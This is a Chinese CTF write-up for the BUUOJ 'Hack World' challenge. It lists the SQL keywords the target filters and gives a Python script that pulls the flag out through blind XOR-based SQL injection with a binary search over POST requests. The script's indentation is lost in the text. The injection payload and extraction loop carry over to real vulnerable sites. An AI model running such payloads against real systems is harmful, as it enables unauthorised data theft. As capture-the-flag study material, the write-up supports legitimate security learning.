Hack World
数字型盲注 异或注入 二分法 POST注入
过滤了or、||、空格、#
未过滤if、逗号、substr、ascill、select、from、左右括号
import requests
import time
url="http://3820bdac-9613-4057-bfb0-5d88973f7c2d.node3.buuoj.cn/index.php"
flag=""
for i in range(0,50):#flag长度,跑到一半可修改此值,继续跑后边的数据
print(i,":")
low=32
high=128
mid = (low+high)//2
while low<=high:
#print(mid)
#for j in range(32,128):#可见字符长度
data={
"id":"1^if(ascii(substr((select(flag)from(flag)),{0},1))>{1},0,1)".format(i,mid)
}
t = requests.post(url,data=data)
#print(t.text)
if("glzjin wants a girlfriend" in t.text):
low=mid+1
mid = (low+high)//2
else:
high=mid-1
mid = (low+high)//2
flag+=chr(high+1)
print(flag)
time.sleep(2)
[极客大挑战 2019]FinalSQL【GET注入】https://blog.youkuaiyun.com/yao_xin_de_yuan/article/details/108306959